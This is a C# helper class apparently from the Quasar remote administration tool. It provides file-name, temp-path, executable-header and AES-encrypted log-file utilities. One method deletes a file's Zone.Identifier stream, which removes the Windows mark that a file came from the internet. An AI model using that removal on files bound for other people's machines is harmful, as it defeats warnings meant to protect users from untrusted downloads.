using Quasar.Common.Cryptography;
using System.IO;
using System.Linq;
using System.Text;
namespace Quasar.Common.Helpers
{
public static class FileHelper
{
///
/// List of illegal path characters.
///
private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
///
/// Indicates if the given path contains illegal characters.
///
/// The path to check.
/// Returns true if the path contains illegal characters, otherwise false.
public static bool HasIllegalCharacters(string path)
{
return path.Any(c => IllegalPathChars.Contains(c));
}
///
/// Gets a random file name.
///
/// The length of the file name.
/// The file extension including the dot, e.g. .exe.
/// The random file name.
public static string GetRandomFilename(int length, string extension = "")
{
return string.Concat(StringHelper.GetRandomString(length), extension);
}
///
/// Gets a path to an unused temp file.
///
/// The file extension including the dot, e.g. .exe.
/// The path to the temp file.
public static string GetTempFilePath(string extension)
{
string tempFilePath;
do
{
tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
} while (File.Exists(tempFilePath));
return tempFilePath;
}
///
/// Indicates if the given file header contains the executable identifier (magic number) 'MZ'.
///
/// The binary file to check.
/// Returns true for valid executable identifiers, otherwise false.
public static bool HasExecutableIdentifier(byte[] binary)
{
if (binary.Length < 2) return false;
return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
}
///
/// Deletes the zone identifier for the given file path.
///
/// The file path.
/// Returns true if the deletion was successful, otherwise false.
public static bool DeleteZoneIdentifier(string filePath)
{
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
}
///
/// Appends text to a log file.
///
/// The filename of the log.
/// The text to append.
/// The AES instance.
public static void WriteLogFile(string filename, string appendText, Aes256 aes)
{
appendText = ReadLogFile(filename, aes) + appendText;
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
{
byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
fStream.Seek(0, SeekOrigin.Begin);
fStream.Write(data, 0, data.Length);
}
}
///
/// Reads a log file.
///
/// The filename of the log.
/// The AES instance.
public static string ReadLogFile(string filename, Aes256 aes)
{
return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
}
}
}